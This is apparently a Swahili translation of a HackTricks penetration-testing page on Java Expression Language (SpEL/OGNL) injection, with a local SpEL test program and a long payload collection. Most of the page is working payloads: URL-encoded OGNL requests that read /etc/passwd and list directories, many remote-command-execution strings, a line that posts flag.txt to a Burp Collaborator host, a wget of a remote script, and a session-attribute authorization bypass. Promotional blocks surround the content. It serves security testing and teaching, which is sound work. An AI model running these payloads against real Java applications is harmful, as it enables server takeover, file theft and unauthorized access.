EL - Expression Language

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WhiteIntel

WhiteIntel ni injini ya utaftaji inayotumia dark-web ambayo inatoa huduma za bure za kuangalia ikiwa kampuni au wateja wake wameathiriwa na malware za wizi.

Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.

Unaweza kutembelea tovuti yao na kujaribu injini yao bure kwa:

WhiteIntel

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Taarifa Msingi

Lugha ya Uelekezaji (EL) ni muhimu katika JavaEE kwa kuhusisha safu ya uwasilishaji (k.m., kurasa za wavuti) na mantiki ya maombi (k.m., mabaka yaliyosimamiwa), kuruhusu mwingiliano wao. Mara nyingi hutumiwa katika:

• JavaServer Faces (JSF): Kwa kufunga vipengele vya UI kwa data/mambo ya nyuma.

• JavaServer Pages (JSP): Kwa ufikiaji wa data na mabadiliko ndani ya kurasa za JSP.

• Muktadha na Uingizaji wa Mtegemezi kwa Java EE (CDI): Kwa kurahisisha mwingiliano wa safu ya wavuti na mabaka yaliyosimamiwa.

Muktadha wa Matumizi:

• Spring Framework: Kutumika katika moduli mbalimbali kama Usalama na Data.

• Matumizi ya Kawaida: Kupitia API ya SpEL na watengenezaji katika lugha zinazotegemea JVM kama Java, Kotlin, na Scala.

EL iko katika teknolojia za JavaEE, mazingira ya kujitegemea, na inatambulika kupitia nyongeza za faili za .jsp au .jsf, makosa ya stak na maneno kama "Servlet" kwenye vichwa. Hata hivyo, vipengele vyake na matumizi ya wahusika fulani vinaweza kutegemea toleo.

Kulingana na toleo la EL baadhi ya vipengele vinaweza kuwa Hewa au Walemavu na kawaida baadhi ya wahusika wanaweza kuwa hairuhusiwi.

Mfano Msingi

(Unaweza kupata mafunzo mengine ya kuvutia kuhusu EL katika https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Pakua kutoka kwenye Hifadhi ya Maven faili za jar:

• commons-lang3-3.9.jar

• spring-core-5.2.1.RELEASE.jar

• commons-logging-1.2.jar

• spring-expression-5.2.1.RELEASE.jar

Na unda faili ya Main.java ifuatayo:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Kisha kamilisha msimbo (ikiwa huna javac imewekwa, weka sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Chukua programu kwa kutumia:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Tafadhali angalia jinsi neno {5*5} lilivyokuwa likihakikiwa.

Mafunzo Yaliyojikita kwenye CVE

Angalia kwenye chapisho hili: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Mzigo wa Mabomu

Hatua za Msingi

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Kugundua

• Ugunduzi wa Burp

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• Uchunguzi wa J2EE

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Lala kwa sekunde 10

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Kuingiza Faili Kijijini

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Orodha ya Direktori

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Maelezo ya msingi ya RCE maelezo

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• UCH linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (haujajaribiwa)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Zaidi ya RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Kuchunguza mazingira

• applicationScope - mazingira ya programu ya jumla

• requestScope - mazingira ya ombi

• initParam - mazingira ya kuanzisha programu

• sessionScope - mazingira ya kikao

• param.X - thamani ya param ambapo X ni jina la parameter ya http

Utahitaji kubadilisha mazingira haya kuwa String kama:

${sessionScope.toString()}

Mfano wa kukiuka idhini

${pageContext.request.getSession().setAttribute("admin", true)}

Programu inaweza pia kutumia mabadiliko ya desturi kama:

${user}
${password}
${employee.FirstName}

Kupitisha WAF

Angalia https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Marejeo

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/

• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools

• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

WhiteIntel

WhiteIntel ni injini ya utaftaji inayotumia dark-web ambayo inatoa huduma za bure za kuangalia ikiwa kampuni au wateja wake wameathiriwa na malware za kuiba.

Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.

Unaweza kutembelea tovuti yao na kujaribu injini yao bure kwa:

WhiteIntel

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

• Je! Unafanya kazi katika kampuni ya usalama wa mtandao? Je! Unataka kuona kampuni yako ikitangazwa kwenye HackTricks? au unataka kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Pata swagi rasmi ya PEASS & HackTricks

• Jiunge na 💬 kikundi cha Discord](https://discord.gg/hRep4RUj7f) au kikundi cha telegram](https://t.me/peass) au nifuata kwenye Twitter 🐦@carlospolopm.

• Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa repo ya hacktricks na repo ya hacktricks-cloud.